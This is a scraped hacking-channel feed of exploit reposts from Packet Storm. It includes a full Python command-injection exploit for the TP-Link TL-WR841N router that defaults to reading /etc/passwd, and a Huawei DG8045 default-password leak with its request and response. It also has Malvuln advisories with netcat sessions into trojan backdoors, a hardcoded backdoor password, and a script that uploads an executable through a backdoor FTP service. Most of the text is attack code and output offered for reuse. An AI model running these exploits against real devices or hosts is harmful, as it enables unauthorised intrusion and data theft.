Hacking Articles
Wireless Penetration Testing: PMKID Attack

Introduction PMKID attack was developed by Team Hashcat. Unlike the traditional handshake capture method (4- way handshake), this method does not wait for a client to re-authenticate. PMKID is directly captured in these attacks and then cracked. This attack works on WPA and WPA2 protocols and recent studies have shown

The post Wireless Penetration Testing: PMKID Attack appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TP-Link TL-WR841N Command Injection

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
TP-Link TL-WR841N suffers from a remote command injection vulnerability.

MD5 | 6d752418204da4962328ae4dea40f269

Download
# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35575

import requests
import sys
import time

try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd=`")
payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware vCenter 6.5 / 6.7 / 7.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Adobe ColdFusion 8 Remote Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.SecondThought.ak Insecure Permissions

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
Trojan.Win32.SecondThought.ak malware suffers from an insecure permissions vulnerability.

MD5 | 8df458f0240ec6ab3bc6f0238286017a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/21cd8bab6b3569f7b375a69a37e36c50.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.SecondThought.ak
Vulnerability: Insecure Permissions
Description: The malware creates a dir with insecure permissions under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 21cd8bab6b3569f7b375a69a37e36c50
Vuln ID: MVID-2021-0257
Dropped files: install113.exe
Disclosure: 06/23/2021

Exploit/PoC:
C:\>cacls temporary
C:\temporary BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir temporary
Volume in drive C has no label.

Directory of C:\temporary

06/16/2021 02:51 AM 0 install113.exe
1 File(s) 0 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.Banpak.kh Insecure Permissions

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Trojan.Win32.Banpak.kh malware suffers from an insecure permissions vulnerability.

MD5 | ec91ff2fec3b2bed8aa2973e9138e1d7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/304fb160949dcaec3e718481464f9ce6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Banpak.kh
Vulnerability: Insecure Permissions
Description: The malware creates a dir with insecure permissions under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 304fb160949dcaec3e718481464f9ce6
Vuln ID: MVID-2021-0258
Dropped files: taskhostoy.exe, vp8encoder.dll
Disclosure: 06/23/2021
Exploit/PoC:
C:\>cacls ZpaTo68.tmp
C:\ZpaTo68.tmp BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir /a ZpaTo68.tmp
Volume in drive C has no label.

Directory of C:\ZpaTo68.tmp

10/10/2017 04:44 AM 4,570,112 taskhostoy.exe
06/17/2021 2:33 AM 1,639,336 vp8encoder.dll
2 File(s) 6,209,448 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Dropper.Win32.Krepper.a Remote Command Execution

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Trojan-Dropper.Win32.Krepper.a malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | ebe8a752fba6d3fd9e8be74440cd9068

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Krepper.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops several executables under Windows dir. Third-party attackers who can reach infected systems can connect to port 10002 and run commands made available by the backdoor to retrieve information etc
Type: PE32
MD5: ee699b4055c6199f9826681797d64f0b
Vuln ID: MVID-2021-0260
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32

PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
WmiPrvSE.exe
dasHost.exe
svchost.exe
svchost.exe
etc...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
rConfig Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Dropper.Win32.Juntador.a Weak Hardcoded Password

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Trojan-Dropper.Win32.Juntador.a malware suffers from having a weak hardcoded password.

MD5 | f0715f4b553050bdd7473912150acf94

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013

pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.
<..
<0409
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)
AcXtrnal.dll (87552)
AdaptiveCards.dll (38400)
etc...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Huawei DG8045 Authentication Bypass

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Huawei DG8045 ships with a default password that is the last 8 character of the device's serial number listed on the back.

MD5 | a2bc8233cbc356dd39974accb8f25338

Download
# Title: Huawei dg8045 - Authentication Bypass
# Date: 2020-06-24
# Author: Abdalrahman Gamal
# Vendor Homepage: www.huawei.com
# Version: dg8045
# Hardware Version: VER.A

#POC:

The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the
following:

************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close
************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Thu, 24 Jun 2021 02:07 GMT+2
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
You can use that serial number last 8 char/digits to login to the router.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.ReverseTrojan.200 malware suffers from an authentication bypass vulnerability.

MD5 | d2b4c0a1bc954a4816174b3c63e1635f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")
print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video